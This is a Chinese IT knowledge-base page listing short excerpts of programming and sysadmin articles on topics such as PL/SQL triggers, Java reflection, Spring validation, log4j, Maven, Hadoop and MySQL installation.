数据量比较大,遍历Map性能太差,这就需要根据Value先找到Key,然后去修改。 
  
即:既要根据Key找Value,又要根据Value</div>
                                </li>
                                <li><a href="/article/152.htm"
                                       title="PL/SQL触发器基础及例子" target="_blank">PL/SQL触发器基础及例子</a>
                                    <span class="text-muted">百合不是茶</span>
<a class="tag" taget="_blank" href="/search/oracle%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">oracle数据库</a><a class="tag" taget="_blank" href="/search/%E8%A7%A6%E5%8F%91%E5%99%A8/1.htm">触发器</a><a class="tag" taget="_blank" href="/search/PL%2FSQL%E7%BC%96%E7%A8%8B/1.htm">PL/SQL编程</a>
                                    <div>  
触发器的简介; 
触发器的定义就是说某个条件成立的时候,触发器里面所定义的语句就会被自动的执行。因此触发器不需要人为的去调用,也不能调用。触发器和过程函数类似 过程函数必须要调用, 
  
一个表中最多只能有12个触发器类型的,触发器和过程函数相似 触发器不需要调用直接执行,


 
触发时间:指明触发器何时执行,该值可取:
before:表示在数据库动作之前触发</div>
                                </li>
                                <li><a href="/article/279.htm"
                                       title="[时空与探索]穿越时空的一些问题" target="_blank">[时空与探索]穿越时空的一些问题</a>
                                    <span class="text-muted">comsci</span>
<a class="tag" taget="_blank" href="/search/%E9%97%AE%E9%A2%98/1.htm">问题</a>
                                    <div> 
      我们还没有进行过任何数学形式上的证明,仅仅是一个猜想..... 
 
      这个猜想就是; 任何有质量的物体(哪怕只有一微克)都不可能穿越时空,该物体强行穿越时空的时候,物体的质量会与时空粒子产生反应,物体会变成暗物质,也就是说,任何物体穿越时空会变成暗物质..(暗物质就我的理</div>
                                </li>
                                <li><a href="/article/406.htm"
                                       title="easy ui datagrid上移下移一行" target="_blank">easy ui datagrid上移下移一行</a>
                                    <span class="text-muted">商人shang</span>
<a class="tag" taget="_blank" href="/search/js/1.htm">js</a><a class="tag" taget="_blank" href="/search/%E4%B8%8A%E7%A7%BB%E4%B8%8B%E7%A7%BB/1.htm">上移下移</a><a class="tag" taget="_blank" href="/search/easyui/1.htm">easyui</a><a class="tag" taget="_blank" href="/search/datagrid/1.htm">datagrid</a>
                                    <div>/**
 * 向上移动一行
 * 
 * @param dg
 * @param row
 */
function moveupRow(dg, row) {
	var datagrid = $(dg);
	var index = datagrid.datagrid("getRowIndex", row);
	if (isFirstRow(dg, row)) {</div>
                                </li>
                                <li><a href="/article/533.htm"
                                       title="Java反射" target="_blank">Java反射</a>
                                    <span class="text-muted">oloz</span>
<a class="tag" taget="_blank" href="/search/%E5%8F%8D%E5%B0%84/1.htm">反射</a>
                                    <div>本人菜鸟,今天恰好有时间,写写博客,总结复习一下java反射方面的知识,欢迎大家探讨交流学习指教 
 
首先看看java中的Class 
 
package demo;

public class ClassTest {
	
	/*先了解java中的Class*/
	
	public static void main(String[] args) {
		
    //任何一个类都</div>
                                </li>
                                <li><a href="/article/660.htm"
                                       title="springMVC 使用JSR-303 Validation验证" target="_blank">springMVC 使用JSR-303 Validation验证</a>
                                    <span class="text-muted">杨白白</span>
<a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/mvc/1.htm">mvc</a>
                                    <div>JSR-303是一个数据验证的规范,但是spring并没有对其进行实现,Hibernate Validator是实现了这一规范的,通过此这个实现来讲SpringMVC对JSR-303的支持。 
 JSR-303的校验是基于注解的,首先要把这些注解标记在需要验证的实体类的属性上或是其对应的get方法上。 
 
登录需要验证类 
 
public class Login {

	@NotEmpty</div>
                                </li>
                                <li><a href="/article/787.htm"
                                       title="log4j" target="_blank">log4j</a>
                                    <span class="text-muted">香水浓</span>
<a class="tag" taget="_blank" href="/search/log4j/1.htm">log4j</a>
                                    <div>
log4j.rootCategory=DEBUG, STDOUT, DAILYFILE, HTML, DATABASE
#log4j.rootCategory=DEBUG, STDOUT, DAILYFILE, ROLLINGFILE, HTML

#console
log4j.appender.STDOUT=org.apache.log4j.ConsoleAppender
log4</div>
                                </li>
                                <li><a href="/article/914.htm"
                                       title="使用ajax和history.pushState无刷新改变页面URL" target="_blank">使用ajax和history.pushState无刷新改变页面URL</a>
                                    <span class="text-muted">agevs</span>
<a class="tag" taget="_blank" href="/search/jquery/1.htm">jquery</a><a class="tag" taget="_blank" href="/search/%E6%A1%86%E6%9E%B6/1.htm">框架</a><a class="tag" taget="_blank" href="/search/Ajax/1.htm">Ajax</a><a class="tag" taget="_blank" href="/search/html5/1.htm">html5</a><a class="tag" taget="_blank" href="/search/chrome/1.htm">chrome</a>
                                    <div>表现 
如果你使用chrome或者firefox等浏览器访问本博客、github.com、plus.google.com等网站时,细心的你会发现页面之间的点击是通过ajax异步请求的,同时页面的URL发生了了改变。并且能够很好的支持浏览器前进和后退。 
是什么有这么强大的功能呢? 
HTML5里引用了新的API,history.pushState和history.replaceState,就是通过</div>
                                </li>
                                <li><a href="/article/1041.htm"
                                       title="centos中文乱码" target="_blank">centos中文乱码</a>
                                    <span class="text-muted">AILIKES</span>
<a class="tag" taget="_blank" href="/search/centos/1.htm">centos</a><a class="tag" taget="_blank" href="/search/OS/1.htm">OS</a><a class="tag" taget="_blank" href="/search/ssh/1.htm">ssh</a>
                                    <div>一、CentOS系统访问 g.cn ,发现中文乱码。 
于是用以前的方式:yum -y install fonts-chinese 
CentOS系统安装后,还是不能显示中文字体。我使用 gedit 编辑源码,其中文注释也为乱码。     
  
      
  
后来,终于找到以下方法可以解决,需要两个中文支持的包: 
fonts-chinese-3.02-12.</div>
                                </li>
                                <li><a href="/article/1168.htm"
                                       title="触发器" target="_blank">触发器</a>
                                    <span class="text-muted">baalwolf</span>
<a class="tag" taget="_blank" href="/search/%E8%A7%A6%E5%8F%91%E5%99%A8/1.htm">触发器</a>
                                    <div>触发器(trigger):监视某种情况,并触发某种操作。 
触发器创建语法四要素:1.监视地点(table) 2.监视事件(insert/update/delete) 3.触发时间(after/before) 4.触发事件(insert/update/delete) 
语法: 
create trigger triggerName 
after/before </div>
                                </li>
                                <li><a href="/article/1295.htm"
                                       title="JS正则表达式的i m g" target="_blank">JS正则表达式的i m g</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/1.htm">正则表达式</a>
                                    <div>        g:表示全局(global)模式,即模式将被应用于所有字符串,而非在发现第一个匹配项时立即停止。         i:表示不区分大小写(case-insensitive)模式,即在确定匹配项时忽略模式与字符串的大小写。         m:表示</div>
                                </li>
                                <li><a href="/article/1422.htm"
                                       title="HTML5模式和Hashbang模式" target="_blank">HTML5模式和Hashbang模式</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/AngularJS/1.htm">AngularJS</a><a class="tag" taget="_blank" href="/search/Hashbang%E6%A8%A1%E5%BC%8F/1.htm">Hashbang模式</a><a class="tag" taget="_blank" href="/search/HTML5%E6%A8%A1%E5%BC%8F/1.htm">HTML5模式</a>
                                    <div>        我们可以用$locationProvider来配置$location服务(可以采用注入的方式,就像AngularJS中其他所有东西一样)。这里provider的两个参数很有意思,介绍如下。 
html5Mode 
        一个布尔值,标识$location服务是否运行在HTML5模式下。 
ha</div>
                                </li>
                                <li><a href="/article/1549.htm"
                                       title="[Maven学习笔记六]Maven生命周期" target="_blank">[Maven学习笔记六]Maven生命周期</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/maven/1.htm">maven</a>
                                    <div>从mvn test的输出开始说起 
  
当我们在user-core中执行mvn test时,执行的输出如下: 
  
/software/devsoftware/jdk1.7.0_55/bin/java -Dmaven.home=/software/devsoftware/apache-maven-3.2.1 -Dclassworlds.conf=/software/devs</div>
                                </li>
                                <li><a href="/article/1676.htm"
                                       title="【Hadoop七】基于Yarn的Hadoop Map Reduce容错" target="_blank">【Hadoop七】基于Yarn的Hadoop Map Reduce容错</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/hadoop/1.htm">hadoop</a>
                                    <div>运行于Yarn的Map Reduce作业,可能发生失败的点包括 
 
 Task Failure 
 Application Master Failure 
 Node Manager Failure 
 Resource Manager Failure 
 1. Task Failure 
任务执行过程中产生的异常和JVM的意外终止会汇报给Application Master。僵死的任务也会被A</div>
                                </li>
                                <li><a href="/article/1803.htm"
                                       title="记一次数据推送的异常解决端口解决" target="_blank">记一次数据推送的异常解决端口解决</a>
                                    <span class="text-muted">ronin47</span>
<a class="tag" taget="_blank" href="/search/%E8%AE%B0%E4%B8%80%E6%AC%A1%E6%95%B0%E6%8D%AE%E6%8E%A8%E9%80%81%E7%9A%84%E5%BC%82%E5%B8%B8%E8%A7%A3%E5%86%B3/1.htm">记一次数据推送的异常解决</a>
                                    <div>   需求:从db获取数据然后推送到B 
        程序开发完成,上jboss,刚开始报了很多错,逐一解决,可最后显示连接不到数据库。机房的同事说可以ping 通。 
    自已画了个图,逐一排除,把linux 防火墙 和 setenforce 设置最低。 
   service iptables stop 
</div>
                                </li>
                                <li><a href="/article/1930.htm"
                                       title="巧用视错觉-UI更有趣" target="_blank">巧用视错觉-UI更有趣</a>
                                    <span class="text-muted">brotherlamp</span>
<a class="tag" taget="_blank" href="/search/UI/1.htm">UI</a><a class="tag" taget="_blank" href="/search/ui%E8%A7%86%E9%A2%91/1.htm">ui视频</a><a class="tag" taget="_blank" href="/search/ui%E6%95%99%E7%A8%8B/1.htm">ui教程</a><a class="tag" taget="_blank" href="/search/ui%E8%87%AA%E5%AD%A6/1.htm">ui自学</a><a class="tag" taget="_blank" href="/search/ui%E8%B5%84%E6%96%99/1.htm">ui资料</a>
                                    <div>我们每个人在生活中都曾感受过视错觉(optical illusion)的魅力。 
视错觉现象是双眼跟我们开的一个玩笑,而我们往往还心甘情愿地接受我们看到的假象。其实不止如此,视觉错现象的背后还有一个重要的科学原理——格式塔原理。 
格式塔原理解释了人们如何以视觉方式感觉物体,以及图像的结构,视角,大小等要素是如何影响我们的视觉的。 
在下面这篇文章中,我们首先会简单介绍一下格式塔原理中的基本概念,</div>
                                </li>
                                <li><a href="/article/2057.htm"
                                       title="线段树-poj1177-N个矩形求边长(离散化+扫描线)" target="_blank">线段树-poj1177-N个矩形求边长(离散化+扫描线)</a>
                                    <span class="text-muted">bylijinnan</span>
<a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/1.htm">数据结构</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E7%BA%BF%E6%AE%B5%E6%A0%91/1.htm">线段树</a>
                                    <div>package com.ljn.base;

import java.util.Arrays;
import java.util.Comparator;
import java.util.Set;
import java.util.TreeSet;

/**
 * POJ 1177 (线段树+离散化+扫描线),题目链接为http://poj.org/problem?id=1177
</div>
                                </li>
                                <li><a href="/article/2184.htm"
                                       title="HTTP协议详解" target="_blank">HTTP协议详解</a>
                                    <span class="text-muted">chicony</span>
<a class="tag" taget="_blank" href="/search/http%E5%8D%8F%E8%AE%AE/1.htm">http协议</a>
                                    <div>引言                                 </div>
                                </li>
                                <li><a href="/article/2311.htm"
                                       title="Scala设计模式" target="_blank">Scala设计模式</a>
                                    <span class="text-muted">chenchao051</span>
<a class="tag" taget="_blank" href="/search/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/1.htm">设计模式</a><a class="tag" taget="_blank" href="/search/scala/1.htm">scala</a>
                                    <div>Scala设计模式 
        
       我的话: 在国外网站上看到一篇文章,里面详细描述了很多设计模式,并且用Java及Scala两种语言描述,清晰的让我们看到各种常规的设计模式,在Scala中是如何在语言特性层面直接支持的。基于文章很nice,我利用今天的空闲时间将其翻译,希望大家能一起学习,讨论。翻译</div>
                                </li>
                                <li><a href="/article/2438.htm"
                                       title="安装mysql" target="_blank">安装mysql</a>
                                    <span class="text-muted">daizj</span>
<a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E8%A3%85/1.htm">安装</a>
                                    <div>安装mysql 
  (1)删除linux上已经安装的mysql相关库信息。rpm  -e  xxxxxxx   --nodeps (强制删除) 
     执行命令rpm -qa |grep mysql 检查是否删除干净 
  (2)执行命令  rpm -i MySQL-server-5.5.31-2.el</div>
                                </li>
                                <li><a href="/article/2565.htm"
                                       title="HTTP状态码大全" target="_blank">HTTP状态码大全</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/http%E7%8A%B6%E6%80%81%E7%A0%81/1.htm">http状态码</a>
                                    <div>完整的 HTTP 1.1规范说明书来自于RFC 2616,你可以在http://www.talentdigger.cn/home/link.php?url=d3d3LnJmYy1lZGl0b3Iub3JnLw%3D%3D在线查阅。HTTP 1.1的状态码被标记为新特性,因为许多浏览器只支持 HTTP 1.0。你应只把状态码发送给支持 HTTP 1.1的客户端,支持协议版本可以通过调用request</div>
                                </li>
                                <li><a href="/article/2692.htm"
                                       title="asihttprequest上传图片" target="_blank">asihttprequest上传图片</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/ASIHTTPRequest/1.htm">ASIHTTPRequest</a>
                                    <div>NSURL *url =@"yourURL";
    ASIFormDataRequest*currentRequest =[ASIFormDataRequest requestWithURL:url];
    [currentRequest setPostFormat:ASIMultipartFormDataPostFormat];[currentRequest se</div>
                                </li>
                                <li><a href="/article/2819.htm"
                                       title="C语言中,关键字static的作用" target="_blank">C语言中,关键字static的作用</a>
                                    <span class="text-muted">e200702084</span>
<a class="tag" taget="_blank" href="/search/C%2B%2B/1.htm">C++</a><a class="tag" taget="_blank" href="/search/c/1.htm">c</a><a class="tag" taget="_blank" href="/search/C%23/1.htm">C#</a>
                                    <div>在C语言中,关键字static有三个明显的作用: 
 
1)在函数体,局部的static变量。生存期为程序的整个生命周期,(它存活多长时间);作用域却在函数体内(它在什么地方能被访问(空间))。 
一个被声明为静态的变量在这一函数被调用过程中维持其值不变。因为它分配在静态存储区,函数调用结束后并不释放单元,但是在其它的作用域的无法访问。当再次调用这个函数时,这个局部的静态变量还存活,而且用在它的访</div>
                                </li>
                                <li><a href="/article/2946.htm"
                                       title="win7/8使用curl" target="_blank">win7/8使用curl</a>
                                    <span class="text-muted">geeksun</span>
<a class="tag" taget="_blank" href="/search/win7/1.htm">win7</a>
                                    <div>1.  WIN7/8下要使用curl,需要下载curl-7.20.0-win64-ssl-sspi.zip和Win64OpenSSL_Light-1_0_2d.exe。  下载地址:  
http://curl.haxx.se/download.html   请选择不带SSL的版本,否则还需要安装SSL的支持包       2.  可以给Windows增加c</div>
                                </li>
                                <li><a href="/article/3073.htm"
                                       title="Creating a Shared Repository; Users Sharing The Repository" target="_blank">Creating a Shared Repository; Users Sharing The Repository</a>
                                    <span class="text-muted">hongtoushizi</span>
<a class="tag" taget="_blank" href="/search/git/1.htm">git</a>
                                    <div>转载自:  
http://www.gitguys.com/topics/creating-a-shared-repository-users-sharing-the-repository/  Commands discussed in this section: 
 
 git init –bare 
 git clone 
 git remote 
 git pull 
 git p</div>
                                </li>
                                <li><a href="/article/3200.htm"
                                       title="Java实现字符串反转的8种或9种方法" target="_blank">Java实现字符串反转的8种或9种方法</a>
                                    <span class="text-muted">Josh_Persistence</span>
<a class="tag" taget="_blank" href="/search/%E5%BC%82%E6%88%96%E5%8F%8D%E8%BD%AC/1.htm">异或反转</a><a class="tag" taget="_blank" href="/search/%E9%80%92%E5%BD%92%E5%8F%8D%E8%BD%AC/1.htm">递归反转</a><a class="tag" taget="_blank" href="/search/%E4%BA%8C%E5%88%86%E4%BA%A4%E6%8D%A2%E5%8F%8D%E8%BD%AC/1.htm">二分交换反转</a><a class="tag" taget="_blank" href="/search/java%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%8F%8D%E8%BD%AC/1.htm">java字符串反转</a><a class="tag" taget="_blank" href="/search/%E6%A0%88%E5%8F%8D%E8%BD%AC/1.htm">栈反转</a>
                                    <div>注:对于第7种使用异或的方式来实现字符串的反转,如果不太看得明白的,可以参照另一篇博客: 
http://josh-persistence.iteye.com/blog/2205768 
  
/**
 * 
 */
package com.wsheng.aggregator.algorithm.string;

import java.util.Stack;

/**
</div>
                                </li>
                                <li><a href="/article/3327.htm"
                                       title="代码实现任意容量倒水问题" target="_blank">代码实现任意容量倒水问题</a>
                                    <span class="text-muted">home198979</span>
<a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E5%80%92%E6%B0%B4/1.htm">倒水</a>
                                    <div>形象化设计模式实战             HELLO!架构                     redis命令源码解析 
  
倒水问题:有两个杯子,一个A升,一个B升,水有无限多,现要求利用这两杯子装C</div>
                                </li>
                                <li><a href="/article/3454.htm"
                                       title="Druid datasource" target="_blank">Druid datasource</a>
                                    <span class="text-muted">zhb8015</span>
<a class="tag" taget="_blank" href="/search/druid/1.htm">druid</a>
                                    <div>推荐大家使用数据库连接池 DruidDataSource. http://code.alibabatech.com/wiki/display/Druid/DruidDataSource DruidDataSource经过阿里巴巴数百个应用一年多生产环境运行验证,稳定可靠。 它最重要的特点是:监控、扩展和性能。 下载和Maven配置看这里: http</div>
                                </li>
                                <li><a href="/article/3581.htm"
                                       title="两种启动监听器ApplicationListener和ServletContextListener" target="_blank">两种启动监听器ApplicationListener和ServletContextListener</a>
                                    <span class="text-muted">spjich</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/%E6%A1%86%E6%9E%B6/1.htm">框架</a>
                                    <div>引言:有时候需要在项目初始化的时候进行一系列工作,比如初始化一个线程池,初始化配置文件,初始化缓存等等,这时候就需要用到启动监听器,下面分别介绍一下两种常用的项目启动监听器 
  
ServletContextListener  
特点: 依赖于sevlet容器,需要配置web.xml 
使用方法: 
public class StartListener implements </div>
                                </li>
                                <li><a href="/article/3708.htm"
                                       title="JavaScript Rounding Methods of the Math object" target="_blank">JavaScript Rounding Methods of the Math object</a>
                                    <span class="text-muted">何不笑</span>
<a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/Math/1.htm">Math</a>
                                    <div>    The next group of methods has to do with rounding decimal values into integers. Three methods — Math.ceil(),  Math.floor(), and  Math.round() — handle rounding in differen</div>
                                </li>
                </ul>
            </div>
        </div>
    </div>

<div>
    <div class="container">
        <div class="indexes">
            <strong>按字母分类:</strong>
            <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a
                href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a
                href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a
                href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a
                href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a
                href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a
                href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a
                href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a
                href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a>
        </div>
    </div>
</div>
<footer id="footer" class="mb30 mt30">
    <div class="container">
        <div class="footBglm">
            <a target="_blank" href="/">首页</a> -
            <a target="_blank" href="/custom/about.htm">关于我们</a> -
            <a target="_blank" href="/search/Java/1.htm">站内搜索</a> -
            <a target="_blank" href="/sitemap.txt">Sitemap</a> -
            <a target="_blank" href="/custom/delete.htm">侵权投诉</a>
        </div>
        <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.
<!--            <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>-->
        </div>
    </div>
</footer>
<!-- 代码高亮 -->
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script>
<link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/>
<script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script>





</body>

</html><script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>